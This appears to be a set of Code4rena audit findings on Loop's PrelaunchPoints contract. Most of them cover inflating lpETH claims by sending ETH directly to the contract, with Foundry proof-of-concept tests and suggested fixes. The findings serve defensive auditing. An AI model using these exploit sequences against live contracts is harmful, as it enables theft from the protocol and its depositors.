address or is the zero address. Additionally, the inclusion of address(0) as a
valid recipient should be removed unless there is a specific and valid reason
for its presence.

if (recipient != address(this)) {
    revert WrongRecipient(recipient);
}

This ensures that the transaction will only proceed if the recipient is the contract itself, preventing the loss of funds to the zero address.

Assessed type

Invalid Validation

[H-1] `PrelaunchPoints::lock, lockFor` allows a users to lock s small amount of LRT token and then force ether into the contract claiming as much lpETH as they want, removing the risk of locking a lot of tokens and braking the 2nd invariant

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/40167e469edde09969643b6808c57e25d1b9c203/src/PrelaunchPoints.sol#L262

Vulnerability details

Description:

In the Prelaunchpoint the functions lock and lockFor allow users to lock LRTs or WETH into the contract. After the owner calls setLoopAddresses and converts all the ETH, users are able to call the claim and claimAndStake functions. A user can force ETH into the smart contract and right after call the claim function with the LRT Token with a small percentage. Because claimedAmount is set to address(this).balance this will also get the forced ETH, allowing users to remove the risk of locking a large amount and rather lock a small amount and then force ether to get the desired lpETH.

Impact:

  1. Allows users to remove the risk of locking a large amount of tokens.
  2. Allows users to mint how much ever lpETH they want, as long as they have the capital and a small locked amount of LRT Token.
  3. This breaks the 2nd invariant - Deposits are active up to the lpETH contract and lpETHVault contract are set

Proof of Concept:

  1. The user locks a desired amount of an LRT Token
  2. The owner sets the loop addresses and the 7 days to withdraw pass
  3. The owner converts all the ETH, which allows the user to claim, claim and stake
  4. The user forces ETH into the contract
  5. The user calls the claim function and gets the lpETH for the forced ETH

Paste this into PrelaunchPoints.t.sol

function testDepositAndStakeAfterTheClaimStartDate() public {
        uint256 lockAmount = 10;
        address userOne = vm.addr(1);

        lrt.mint(userOne, lockAmount);

        vm.startPrank(userOne);
        lrt.approve(address(prelaunchPoints), lockAmount);
        prelaunchPoints.lock(address(lrt), lockAmount, referral);
        vm.stopPrank();

        // Set Loop Contracts and Convert to lpETH
        prelaunchPoints.setLoopAddresses(address(lpETH), address(lpETHVault));
        vm.warp(prelaunchPoints.loopActivation() + prelaunchPoints.TIMELOCK() + 1);
        prelaunchPoints.convertAllETH();

        vm.warp(prelaunchPoints.startClaimDate() + 1);

        bytes memory data = abi.encodeWithSelector(0x415565b0, address(lrt), ETH, ((lockAmount * 1) / 100));

        vm.deal(userOne, 10);
        vm.prank(userOne);
        (bool success,) = address(prelaunchPoints).call{value: 10}("");
        if (!success) revert("Not Successful");

        uint256 temp = lpETH.balanceOf(address(userOne));
        console.log(temp);

        vm.prank(userOne);
        prelaunchPoints.claim(address(lrt), 1, PrelaunchPoints.Exchange.TransformERC20, data);

        temp = lpETH.balanceOf(address(userOne));
        console.log(temp);
    }

Tools Used

Manual Review

Recommended Mitigation:

  1. If the receive function is called revert

Assessed type

ETH-Transfer

Direct ETH transfer to the protocol will break one of its main invariants

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/0dc8467ccff27230e7c0530b619524cc8401e22a/src/PrelaunchPoints.sol#L321-L322

Vulnerability details

Impact

One of the main invariants of the protocol states, "Users that deposit ETH/WETH get the correct amount of lpETH on claim (1 to 1 conversion)." However there is a critial vulnerability and if it is exploited, it would break this invariant, resulting in users not receiving lpETH at the 1:1 peg. Consequently, operations dependent on this invariant, such as determining the rewards from staking lpETH could be affected, calculating the lpETH price which in turn will affect integrating Loopfi with other protocols, because other protocols that accept lpETH as collateral might experience liquidation events and more. This will significantly impair the usability of the protocol.

Proof of Concept

This vulnerability arises due to the susceptibility of the initial ETH amount that should be deposited to the lpETH contract to manipulation, primarily through the risk of direct ETH transfer by malicious actors to the protocol. Let's examine how this issue can be exploited:

In order to convert all the ETH initially locked by users to lpETH, the contract owner should invoke the convertAllETH() function. The balance that should be deposited to lpETH contract is calculated by retrieving the PrelaunchPoints contract's balance, which should represent the total ETH deposited by users:

    function convertAllETH() external onlyAuthorized onlyBeforeDate(startClaimDate) {
        ...
        // deposits all the ETH to lpETH contract. Receives lpETH back
        uint256 totalBalance = address(this).balance;
        lpETH.deposit{value: totalBalance}(address(this));
        totalLpETH = lpETH.balanceOf(address(this));
        ...
    }

However, because this contract can accept direct ETH transfers through its receive() function, the calculation of the lpETH deposit amount can be disrupted. A malicious actor can front run the owner before he call convertAllETH() and send ETH to the contract, breaking this invariant.

This results in totalLpETH being higher than it should be, leading to incorrect calculations wherever it is used. For example, in the _claim() function, the amount a user is entitled to claim should be calculated by (user ETH deposit amount * totalLpETH) / totalSupply. However, due to this vulnerability, totalLpETH will be much higher than totalSupply, leading to incorrect calculations of the lpETH user's claim and consequently other issues such as incorrect staking reward amounts. For example in the following function claimedAmount will be much higher than it should be

   function _claim(address _token, address _receiver, uint8 _percentage, Exchange _exchange, bytes calldata _data)
        internal
        returns (uint256 claimedAmount)
    {
        uint256 userStake = balances[msg.sender][_token];
        if (userStake == 0) {
            revert NothingToClaim();
        }
        if (_token == ETH) {
@>          claimedAmount = userStake.mulDiv(totalLpETH, totalSupply);
            balances[msg.sender][_token] = 0;
            lpETH.safeTransfer(_receiver, claimedAmount);
...
    }
}

I've created the following test to visualize the consequences of this bug. It can be simply copied and pasted into PrelaunchPoints.t.sol. Additionally, I've developed a helper function to visualize the amount of lpETH that a user is entitled to. This function should be included in PrelaunchPoints.sol, it calculates entitlements in the same manner as the _claim() function and it is used withing the PoC test:

helper function:

    function entiteledTo() external view returns (uint256) {
        uint256 userStake = balances[msg.sender][ETH];
        return userStake.mulDiv(totalLpETH, totalSupply);
    }

PoC test:
Run command: forge test --match-test testDirectETHTransferExploit -vv

    function testDirectETHTransferExploit() public {
        address ALICE = makeAddr("Alice");
        address BOB = makeAddr("Bob");
        address EVE = makeAddr("Eve");

        uint256 lockAmountAlice = 1 ether;
        uint256 lockAmountBob = 2 ether;
        uint256 lockAmountEve = 3 ether;
        vm.deal(ALICE, lockAmountAlice);
        vm.deal(BOB, lockAmountBob);
        vm.deal(EVE, lockAmountEve);

        vm.prank(ALICE);
        prelaunchPoints.lockETH{value: lockAmountAlice}(referral);

        vm.prank(BOB);
        prelaunchPoints.lockETH{value: lockAmountBob}(referral);

        vm.prank(EVE);
        prelaunchPoints.lockETH{value: lockAmountEve}(referral);

        address ATTACKER = makeAddr("Attacker");
        vm.deal(ATTACKER, 10 ether);

        // The attacker sends 10 eth directly to the protocol
        vm.prank(ATTACKER);
        address(prelaunchPoints).call{value: 10 ether}("");

        // Set Loop Contracts and Convert to lpETH
        prelaunchPoints.setLoopAddresses(address(lpETH), address(lpETHVault));
        vm.warp(prelaunchPoints.loopActivation() + prelaunchPoints.TIMELOCK() + 1);
        prelaunchPoints.convertAllETH();

        vm.warp(prelaunchPoints.startClaimDate() + 1);

        console.log("Totaly supply: ", prelaunchPoints.totalSupply());
        console.log("Totaly lpETH after exploit: ", prelaunchPoints.totalLpETH());

        // Although Eve deposited only 3 ETH now becuase of the exploit she can claim 8 lpETH
        vm.prank(EVE);
        console.log("Although Eve deposited 3 ETH, she can claim ", prelaunchPoints.entiteledTo(), "lpETH");
    }

Console output:

Ran 1 test for test/PrelaunchPoints.t.sol:PrelaunchPointsTest
[PASS] testDirectETHTransferExploit() (gas: 299726)
Logs:
  Totaly supply:  6000000000000000000
  Totaly lpETH after exploit:  16000000000000000000
  Although Eve deposited 3 ETH, she can claim  8000000000000000000 lpETH

Tools Used

VSCode, Foundry

Recommended Mitigation Steps

Since a 1:1 peg with ETH is expected, the calculation of the amount to be deposited to lpETH can be directly retrieved from the totalSupply state variable. This variable accurately tracks the amount of ETH deposited by users.

@@ -318,7 +324,7 @@ contract PrelaunchPoints {
       }

       // deposits all the ETH to lpETH contract. Receives lpETH back
-        uint256 totalBalance = address(this).balance;
+        uint256 totalBalance = totalSupply;
       lpETH.deposit{value: totalBalance}(address(this));

Assessed type

ETH-Transfer

Invariant is broken, one ETH deposit by user is not convertable to one lpETH, if someone manually deposits eth to contract

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L315

Vulnerability details

Impact

Within the context of invariants, it's emphasized that when a user deposits 1 ETH, it should automatically convert to 1 lpETH. However, if an individual chooses to directly send ETH to the contract, this disrupts the conversion mechanism, diverging from the user's intended perspective.

Proof of Concept

By incorporating the provided test into the existing test file, it becomes evident that the conversion process is compromised.

function testBreakOneToOneConversion(uint256 lockAmount) public {
        lockAmount = bound(lockAmount, 1, 1e36);
        vm.deal(address(this), lockAmount);
        prelaunchPoints.lockETH{value: lockAmount}(referral);

        // Directly deposit 1 eth
        address userDepositETH = makeAddr("user");
        vm.deal(address(userDepositETH), 1e18);
        vm.prank(userDepositETH);
        (bool sent, bytes memory data) = address(prelaunchPoints).call{
            value: 1e18
        }("");
        vm.stopPrank();

        // Set Loop Contracts and Convert to lpETH
        prelaunchPoints.setLoopAddresses(address(lpETH), address(lpETHVault));
        vm.warp(
            prelaunchPoints.loopActivation() + prelaunchPoints.TIMELOCK() + 1
        );
        prelaunchPoints.convertAllETH();

        vm.warp(prelaunchPoints.startClaimDate() + 1);
        prelaunchPoints.claim(
            ETH,
            100,
            PrelaunchPoints.Exchange.UniswapV3,
            emptydata
        );

        uint256 balanceLpETH = (prelaunchPoints.totalLpETH() * lockAmount) /
            prelaunchPoints.totalSupply();

        assertEq(prelaunchPoints.balances(address(this), ETH), 0);
        assertEq(lpETH.balanceOf(address(this)), balanceLpETH);
        assertEq(lpETH.balanceOf(address(this)), lockAmount);
    }

Tools Used

Manual review

Recommended Mitigation Steps

To resolve this issue, removing the receive function can be an effective solution. The receive function can be found in the contract code here.

Assessed type

Other

Staking users can emit any valued Claimed and StakedVault events, which may disrupt point calculation.

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/0dc8467ccff27230e7c0530b619524cc8401e22a/src/PrelaunchPoints.sol#L262

Vulnerability details

Impact

Users can send ETH to the contract before calling the claim function or claimAndStake, causing them to be converted to lqETH through the contract, triggering incorrect Claimed and claimAndStake events, which may allow them to earn more points.

Proof of Concept

The reasons for this issue are:

  1. The _claim function converts all ETH in the contract to lqETH.
  2. Users can claim tokens other than ETH multiple times.
    github:https://github.com/code-423n4/2024-05-loop/blob/0dc8467ccff27230e7c0530b619524cc8401e22a/src/PrelaunchPoints.sol#L262
            claimedAmount = address(this).balance;
            lpETH.deposit{value: claimedAmount}(_receiver);

Due to the lack of visibility into the specific process of point calculation, the POC can only be reflected in the anomalies of events.

POC:

  1. Bob locked 1 token (other than ETH and WETH).
  2. During the claim process, Bob twice sent a large amount of ETH (5e18) to the contract before calling the claimAndStake function.
  3. Upon inspecting the events, it was discovered that both claimed events had a claimedAmount of 5e18.
    function testContralEvent() public {
        ERC20 DAI = ERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
        prelaunchPoints.allowToken(address(DAI));

        address Bob = makeAddr("Bob");

        uint lockAmount = 100;
        vm.deal(Bob, 10e18);
        deal(address(DAI), Bob, 1);

        vm.startPrank(Bob);
        DAI.approve(address(prelaunchPoints), 1);
        prelaunchPoints.lock(address(DAI), 1, referral);
        assertEq(prelaunchPoints.balances(Bob, address(DAI)), 1);
        vm.warp(1);
        vm.stopPrank();

        prelaunchPoints.setLoopAddresses(address(lpETH), address(lpETHVault));
        vm.warp(
            prelaunchPoints.loopActivation() + prelaunchPoints.TIMELOCK() + 1
        );
        prelaunchPoints.convertAllETH();

        vm.warp(prelaunchPoints.startClaimDate() + 1);

        vm.startPrank(Bob);
        for (uint i = 0; i < 2; i++) {
            bytes memory path = abi.encodePacked(address(DAI), WETH);
            bytes memory data = abi.encodeWithSelector(
                prelaunchPoints.UNI_SELECTOR(),
                path,
                0,
                0,
                address(prelaunchPoints)
            );
            address(prelaunchPoints).call{value: 5e18}("");
            prelaunchPoints.claimAndStake(
                address(DAI),
                0,
                PrelaunchPoints.Exchange.UniswapV3,
                data
            );
        }
        vm.stopPrank();
    }

Tools Used

Manual audit,foundry

Recommended Mitigation Steps

Use the balance obtained from the swap as the input for the deposit.

    function _fillQuote(
        IERC20 _sellToken,
        uint256 _amount,
        bytes calldata _swapCallData
-    ) internal{
+    ) internal returns(boughtETHAmount){
        // Track our balance of the buyToken to determine how much we've bought.
-        uint256 boughtETHAmount = address(this).balance;
+        boughtETHAmount = address(this).balance;
        require(_sellToken.approve(exchangeProxy, _amount));

        (bool success, ) = payable(exchangeProxy).call{value: 0}(_swapCallData);
        if (!success) {
            revert SwapCallFailed();
        }

        // Use our current buyToken balance to determine how much we've bought.
        boughtETHAmount = address(this).balance - boughtETHAmount;
        emit SwappedTokens(address(_sellToken), _amount, boughtETHAmount);
    }
    function _claim(
        address _token,
        address _receiver,
        uint8 _percentage,
        Exchange _exchange,
        bytes calldata _data
    ) internal returns (uint256 claimedAmount) {
        uint256 userStake = balances[msg.sender][_token];
        if (userStake == 0) {
            revert NothingToClaim();
        }
        if (_token == ETH) {
            claimedAmount = userStake.mulDiv(totalLpETH, totalSupply);
            balances[msg.sender][_token] = 0;
            lpETH.safeTransfer(_receiver, claimedAmount);
        } else {
            uint256 userClaim = (userStake * _percentage) / 100;
            _validateData(_token, userClaim, _exchange, _data);
            balances[msg.sender][_token] = userStake - userClaim;

            // At this point there should not be any ETH in the contract
            // Swap token to ETH
-            _fillQuote(IERC20(_token), userClaim, _data);
+            claimedAmount = _fillQuote(IERC20(_token), userClaim, _data);
            // Convert swapped ETH to lpETH (1 to 1 conversion)
-            claimedAmount = address(this).balance;
            lpETH.deposit{value: claimedAmount}(_receiver);
        }
        emit Claimed(msg.sender, _token, claimedAmount);
    }

Assessed type

Other

Users can bypass locking funds and use claim directly

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/0dc8467ccff27230e7c0530b619524cc8401e22a/src/PrelaunchPoints.sol#L262

Vulnerability details

Impact

Users can bypass _processLock and use claim when the start claim date is active. This breaks a core concept in the protocol to lock funds within the period of 120 days at max.

Proof of Concept

Users will call _processLock to transfer thier tokens to PrelaunchPoints contract to be locked, then they have to wait for a period of time until the deposits are paused then after 7 days the claim date is activeted, and only then they can start to claim lpETH.

An attacker can deposit small amount using _processLock let's say 100 WEI amount before the 7 days start, then he will wait for the owner to call convertAllETH, after that he will send an amount of X Native ETH let's say 100e18, and call claim, the attacker will receive an amount of lpETH while he didn't lock any amount before except for 100 WEI.

Break down the Scenario:

  • Bob will deposit 100 WEI of LRT token (e.g stETH).
  • Deposit period is done and now the 7 days started with deposits being paused.
  • The Owner convert all ETH and now the start claim date is active.
  • Pay attention to the comment // At this point there should not be any ETH in the contract, it's true since the conversion is done now there no ETH in the contract.
  • Bob will send 10e18 ETH to PrelaunchPoints contract address.
  • Bob will call claim with 1 WEI amount for stETH Token.
  • _claim will pass if (userStake == 0) since Bob balance is 100 WEI.
  • The block else will be triggerd since it's ERC20 token.
  • _fillQuote will swap 100 WEI to ETH and succeed.
  • Now on L262 the claimedAmount will consider address(this).balance as the amount for the _receiver (Bob).
  • A deposit is done by lpETH.deposit{value: claimedAmount}(_receiver)
  • Bob now receive 10e18 lpETH tokens.

The reason behind this issue, that claimedAmount always consider address(this).balance as the amount that the receiver will get.

Tools Used

Manual Review

Recommended Mitigation Steps

Return the amount that was swapped and use it instead of address(this).balance

Assessed type

Other

Malicious actors could exploit `claim()` function to get lpETH at a discount

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/0dc8467ccff27230e7c0530b619524cc8401e22a/src/PrelaunchPoints.sol#L252-L264

Vulnerability details

Impact

Malicious actors will receive more lpETH than they should relative to the value of the LRT they locked in the contract, ultimately resulting in theft from the protocol and other users who are utilizing it.

Proof of Concept

If users deposited LRTs instead of ETH, obtaining the corresponding lpETH amount against their LRTs is executed as follows, as stated on the contest page: "The conversion for LRTs happens on each claim by using 0x API. This is triggered by each user." However, while claiming lpETH against the LRT value they've deposited, malicious actors could manipulate the protocol to receive more lpETH than they are entitled to.

This issue arises from the expectation of the protocol team, that when users claim their LRTs, the contract balance would not contain any ETH. Thus, the claimedAmount, retrieved as claimedAmount = address(this).balance;, where address(this).balance is expected to reflect the value of LRT in terms of ETH from the 0x API. Based on claimedAmount also is determined the amount of lpETH that the user should receive. However, a malicious actor could exploit this by transferring ETH to the contract before calling the claim() function. This vulnerability is profitable if the ETH price is lower than the LRT price in ETH terms. For example, at the time of writing this report, the price of UNIETH is $3,340.88, and the ETH price is $3,132.95. Therefore, this exploitation would allow the malicious actor to receive more lpETH at a cheaper price relative to the LRT.

    function _claim(address _token, address _receiver, uint8 _percentage, Exchange _exchange, bytes calldata _data)
        internal
        returns (uint256 claimedAmount)
    {
        uint256 userStake = balances[msg.sender][_token];
        ...
         else {
            uint256 userClaim = userStake * _percentage / 100;
            _validateData(_token, userClaim, _exchange, _data);
            balances[msg.sender][_token] = userStake - userClaim;

@>          // At this point there should not be any ETH in the contract
            // Swap token to ETH
            // @audit-issue This can be not the case, as there is receive() function and malicious actor can send ETH to the contract
            _fillQuote(IERC20(_token), userClaim, _data);

            // Convert swapped ETH to lpETH (1 to 1 conversion)
@>          claimedAmount = address(this).balance;
@>          lpETH.deposit{value: claimedAmount}(_receiver);
        }
        emit Claimed(msg.sender, _token, claimedAmount);
    }

Tools Used

VSCode

Recommended Mitigation Steps

The amount to be deposited in lpETH should be calculated as follows:

    function _claim(address _token, address _receiver, uint8 _percentage, Exchange _exchange, bytes calldata _data)
        internal
        returns (uint256 claimedAmount)
    {
        ...
        } else {
                ...

            uint256 contractBalanceBefore0x = address(this).balance;
            _fillQuote(IERC20(_token), userClaim, _data);

            claimedAmount = address(this).balance - contractBalanceBefore0x;
            lpETH.deposit{value: claimedAmount}(_receiver);
        }
    }

Implementing this approach ensures that if there are direct transfers to the contract, the amount received from 0x matches exactly the value of the LRT.

Assessed type

ETH-Transfer

Availability of deposit invariant can be bypassed

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L262
https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L324

Vulnerability details

Impact

One of the main invariants stated in the contest is the following:

Deposits are active up to the lpETH contract and lpETHVault contract are set

However, there are currently two ways this invariant can be broken, allowing users to gain lpETH without explicitly locking tokens before contracts are set.

  1. Sandwich a call to convertAllETH by front-running to directly donate ETH and then back-running to claim lpETH via multiple lock positions

  1. Bundle a transaction of donation and claiming with a previously locked position of wrapped LRT

This bypasses the onlyBeforeDate(loopActivation) modifier included in all lock functions. It also potentially allows no cap in lpETH minted and also discourages users from locking ETH in the PrelaunchPoints.sol contract before contract addresses are set (i.e. loopActivation is assigned)

Proof of Concept

Scenario 1

Bundle a transaction of donation and claiming with a previously locked position of wrapped LRT. User can execute the following in one transaction, assuming the user previously has a locked position with any of the allowed LRTs.

  1. Donate ETH directly to contract
  2. Call claim()/claimAndStake(), claiming all tokens, this swaps users wrapped LRT to ETH via _fillQuote.
  3. Since claimedAmount is set as address(this).balance here, claimedAmountis computed as the addition of ETH receive from LRT swapped + user donated ETH
  4. claimedAmount worth of lpETH is subsequently claimed/staked via lpETH.deposit()/lpETHVault.stake().

Scenario 2

Sandwich a call to convertAllETH by front-running to directly donate ETH and then back-running to claim lpETH via multiple lock positions

  1. Assume user has 10 positions of ETH/WETH locked each with 1 ether with different addresses, with 100 ETH total locked
  2. Front-run call to convertAllETH by donating 1 ETH. This sets totalLpETH to be 101 ETH as seen here
  3. Ratio of totalLpETH : totalSupply computed here is now 1.01 (1.01)
  4. Back-run convertAllETH by executing claims for all 10 position, each claim will mint 0.01 ETH extra (1.01 lpETH)

This scenario is less likely than scenario 1 as it requires user to perfectly back-run convertAllETH() with claims, although it also breaks another invariant of a 1:1 swap

Users that deposit ETH/WETH get the correct amount of lpETH on claim (1 to 1 conversion)

Tools Used

Manual Analysis

Recommended Mitigation Steps

  1. For scenario 1, set claimedAmount to amount of ETH bought from LRT swap (such as buyAmount for uniV3)
  2. For scenario 2, no fix is likely required since it would require users to risk their funds to be transferred by other users due to inflated totalLpETH : totalSupply ratio. If not you can consider setting totalLpETH to totalSupply and allow admin to retrieve any additional ETH donated.

Assessed type

Other

User may claim more LpETH due to ETH being mistakenly sent to the contract

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/0dc8467ccff27230e7c0530b619524cc8401e22a/src/PrelaunchPoints.sol#L392
https://github.com/code-423n4/2024-05-loop/blob/0dc8467ccff27230e7c0530b619524cc8401e22a/src/PrelaunchPoints.sol#L259-L263
https://github.com/code-423n4/2024-05-loop/blob/0dc8467ccff27230e7c0530b619524cc8401e22a/src/PrelaunchPoints.sol#L503-L504
https://github.com/code-423n4/2024-05-loop/blob/0dc8467ccff27230e7c0530b619524cc8401e22a/src/PrelaunchPoints.sol#L321-L324

Vulnerability details

Impact

If a user mistakenly sends ETH to the contract before convertAllETH has been called by the owner, every user could claim more lpETH than expected. If he mistakenly sends ETH to the contract after convertAllETH has been called by the owner, the first user to claim after him could get more lpETH.

Proof of Concept

The contract is able to receive ETH.

    /**
     * Enable receive ETH
     * @dev ETH sent to this contract directly will be locked forever.
     */
    receive() external payable {}

However, if a user mistakenly sends ETH to the contract, this would affect the claiming process.

Consider the following 2 cases:

  1. If a user mistakenly sends ETH to the contract before convertAllETH has been called by the owner, every user could claim more lpETH than expected.

    When convertAllETH is being called by the owner, all ETH in the contract will be converted to lpETH. When a user claims his locked ETH afterwards, the calculation claimedAmount = userStake.mulDiv(totalLpETH, totalSupply) will give him more lpETH than actual amount.

        uint256 totalBalance = address(this).balance;
        lpETH.deposit{value: totalBalance}(address(this));
        totalLpETH = lpETH.balanceOf(address(this));
  1. If he mistakenly sends ETH to the contract after convertAllETH has been called by the owner, the first user to claim after him could get more lpETH.

    When _claim is later being called, lpETH.deposit{value: claimedAmount}(_receiver) has been called to convert all ETH in the contract to lpETH. Thus the first user to claim afterwards could get more lpETH than actual amount.

            claimedAmount = address(this).balance;
            lpETH.deposit{value: claimedAmount}(_receiver);

Tools Used

Manual, VSCode

Recommended Mitigation Steps

Three steps:

  1. Since totalSupply is used to record ETH balance, it is better to use totalSupply to convert to lpETH.
  2. Use the boughtETHAmount obtained in _fillQuote to convert to ETH.
  3. Add a retrieve function to retrieve address(this).balance-totalSupply before claiming and address(this).balance after claiming.

Assessed type

ETH-Transfer

Missing withdrawal time check for non-ETH tokens

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/40167e469edde09969643b6808c57e25d1b9c203/src/PrelaunchPoints.sol#L301-L302

Vulnerability details

Impact

The current implementation of the withdraw function allows users to bypass the intended withdrawal restrictions after loopActivation has been set and before startClaimDate. This could potentially allow users to withdraw their tokens at times when they should instead be using the claim functionality. This breaks an invariant :

* Note Can only be called after the loop address is set and before claiming lpETH, * i.e. for at least TIMELOCK. In emergency mode can be called at any time.

Proof of Concept

The absence of a check for block.timestamp >= startClaimDate for non-ETH token withdrawals in the smart contract code allows users to withdraw tokens at any time, without adhering to the intended time constraints set by loopActivation and startClaimDate.

else {
            // @audit no check on (block.timestamp >= startClaimDate) which means can withdraw at any time
            IERC20(_token).safeTransfer(msg.sender, lockedAmount);
        }

Tools Used

Manual review

Recommended Mitigation Steps

Consider adding the same check for non-ETH tokens :

if (block.timestamp >= startClaimDate) {
                revert NoLongerPossible();
            }

Assessed type

Other

Agreements & Disclosures

Agreements

If you are a C4 Certified Contributor by commenting or interacting with this repo prior to public release of the contest report, you agree that you have read the Certified Warden docs and agree to be bound by:

To signal your agreement to these terms, add a 👍 emoji to this issue.

Code4rena staff reserves the right to disqualify anyone from this role and similar future opportunities who is unable to participate within the above guidelines.

Disclosures

Sponsors may elect to add team members and contractors to assist in sponsor review and triage. All sponsor representatives added to the repo should comment on this issue to identify themselves.

To ensure contest integrity, the following potential conflicts of interest should also be disclosed with a comment in this issue:

  1. any sponsor staff or sponsor contractors who are also participating as wardens
  2. any wardens hired to assist with sponsor review (and thus presenting sponsor viewpoint on findings)
  3. any wardens who have a relationship with a judge that would typically fall in the category of potential conflict of interest (family, employer, business partner, etc)
  4. any other case where someone might reasonably infer a possible conflict of interest.

Users can claim and mint tokens that they have not locked

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/40167e469edde09969643b6808c57e25d1b9c203/src/PrelaunchPoints.sol#L262

Vulnerability details

Impact

A user that has locked just 1 wei of the allowed tokens can claim an arbitrary amount of the lpETH token.

Proof of Concept

This is the _claim() function:

function _claim(address _token, address _receiver, uint8 _percentage, Exchange _exchange, bytes calldata _data)
        internal
        returns (uint256 claimedAmount)
    {
        uint256 userStake = balances[msg.sender][_token];
        if (userStake == 0) {
            revert NothingToClaim();
        }
        if (_token == ETH) {
            claimedAmount = userStake.mulDiv(totalLpETH, totalSupply);
            balances[msg.sender][_token] = 0;
            lpETH.safeTransfer(_receiver, claimedAmount);
        } else {
            uint256 userClaim = userStake * _percentage / 100;
            _validateData(_token, userClaim, _exchange, _data);
            balances[msg.sender][_token] = userStake - userClaim;

            // At this point there should not be any ETH in the contract
            // Swap token to ETH
            _fillQuote(IERC20(_token), userClaim, _data);

            // Convert swapped ETH to lpETH (1 to 1 conversion)
            claimedAmount = address(this).balance;
            lpETH.deposit{value: claimedAmount}(_receiver);
        }
        emit Claimed(msg.sender, _token, claimedAmount);
    }

If a user has locked just 1 wei of any of the allowed tokens, then he can do the following:

  1. Directly send Ether to the contract for the amount he wishes to claim
  2. Call the claim() function with the token he has locked for 1 wei
  3. He will end up in the else statement as his token is not ETH
  4. His 1 wei of the token gets swapped to ETH
  5. Then, the claimedAmount variable is equal to address(this).balance which he just increased as he sent Ether directly to the contract

While the implementation of the lpETH contract is unclear, such issue can definitely cause a lot of unexpected issues depending on the implementation of lpETH and other contracts. Furthermore, that makes the event emission wrong and by the contest page in Code4rena, we can see that they are tracking different events on the backend, potentially causing other issues.

Tools Used

Manual Review

Recommended Mitigation Steps

Change the _fillQuote() function to return the boughtETHAmount variable and use it as the claimedAmount instead.

Assessed type

Other

Potential Loss of ETH to Zero Address on Claim

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/0dc8467ccff27230e7c0530b619524cc8401e22a/src/PrelaunchPoints.sol#L439
https://github.com/code-423n4/2024-05-loop/blob/0dc8467ccff27230e7c0530b619524cc8401e22a/src/PrelaunchPoints.sol#L259
https://github.com/code-423n4/2024-05-loop/blob/0dc8467ccff27230e7c0530b619524cc8401e22a/src/PrelaunchPoints.sol#L497
https://github.com/code-423n4/2024-05-loop/blob/0dc8467ccff27230e7c0530b619524cc8401e22a/src/PrelaunchPoints.sol#L459

Vulnerability details

Impact

If the _validateData function receives a decoded recipient address of address(0) from _decodeUniswapV3Data and does not revert, the contract will proceed with the swap, and the resulting ETH will be sent to address(0), effectively burning the ETH. This could lead to a loss of funds for users attempting to claim their lpETH.

Proof of Concept

In the _validateData function, the recipient address is checked against address(this) and address(0):

function _validateData(address _token, uint256 _amount, Exchange _exchange, bytes calldata _data) internal view {
        // ...
        if (recipient != address(this) && recipient != address(0)) {
            revert WrongRecipient(recipient);
        }
    }

The _decodeUniswapV3Data function can potentially return address(0) as the recipient:

function _decodeUniswapV3Data(bytes calldata _data)
        internal
        pure
        returns (address inputToken, address outputToken, uint256 inputTokenAmount, address recipient, bytes4 selector)
    {
      // ...
      recipient := calldataload(add(p, 64))
      // ...
    }

If address(0) is returned and not reverted, the swap will send ETH to address(0):

function _fillQuote(IERC20 _sellToken, uint256 _amount, bytes calldata _swapCallData) internal {
        // ...
        (bool success,) = payable(exchangeProxy).call{value: 0}(_swapCallData);
        if (!success) {
            revert SwapCallFailed();
        }
        // ...
    }

The condition in _validateData does not revert when recipient is address(0), which is an oversight. The intention is likely to ensure that the recipient is either the contract itself or not set (implicitly address(0)), but this logic allows for the possibility that ETH could be sent to address(0) if the _swapCallData is crafted to do so.

Tools Used

Manual Review

Recommended Mitigation Steps

Modify the _validateData function to explicitly check that the recipient is address(this) only in the if (_exchange == Exchange.UniswapV3) branch and revert if not. This ensures that the contract does not allow ETH to be sent to address(0):

function _validateData(address _token, uint256 _amount, Exchange _exchange, bytes calldata _data) internal view {
        address inputToken;
        address outputToken;
        uint256 inputTokenAmount;
-       address recipient;
        bytes4 selector;

        if (_exchange == Exchange.UniswapV3) {
-           (inputToken, outputToken, inputTokenAmount, recipient, selector) = _decodeUniswapV3Data(_data);
+           (inputToken, outputToken, inputTokenAmount, address recipient, selector) = decodeUniswapV3Data(_data);
            if (selector != UNI_SELECTOR) {
                revert WrongSelector(selector);
            }
            if (outputToken != address(WETH)) {
                revert WrongDataTokens(inputToken, outputToken);
            }
+           if (recipient != address(this)) {
+           revert WrongRecipient(recipient);
+           }
        } 
       // ...
-       if (recipient != address(this) && recipient != address(0)) {
-           revert WrongRecipient(recipient);
-       }
    }

This change will prevent the contract from proceeding with a swap that would result in sending ETH to address(0), thereby safeguarding users' funds during the claim process.

Assessed type

ETH-Transfer

User can bypass the locking mechanism and still be able to get as big amount of `lpETH` as he wants

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L240-L266
https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L492-L505

Vulnerability details

Impact

User can lock low amount worth of any token different than WETH and get as much lpETH as he wants.

Proof of Concept

The user will lock via lock() function, then after some time when the owner calls the convertAllETH() function and everybody is able to claim or stake their lpETH, the user will send ether to the contract and immediately call claim() or claimAndStake() functions. No matter which function he will call, because they are both leading to the following block of code in the _claim() function:

} else {
            uint256 userClaim = userStake * _percentage / 100;
            _validateData(_token, userClaim, _exchange, _data);
            balances[msg.sender][_token] = userStake - userClaim;

            // At this point there should not be any ETH in the contract
            // Swap token to ETH
            _fillQuote(IERC20(_token), userClaim, _data);

            // Convert swapped ETH to lpETH (1 to 1 conversion)
            claimedAmount = address(this).balance;
            lpETH.deposit{value: claimedAmount}(_receiver);
        }
        emit Claimed(msg.sender, _token, claimedAmount);

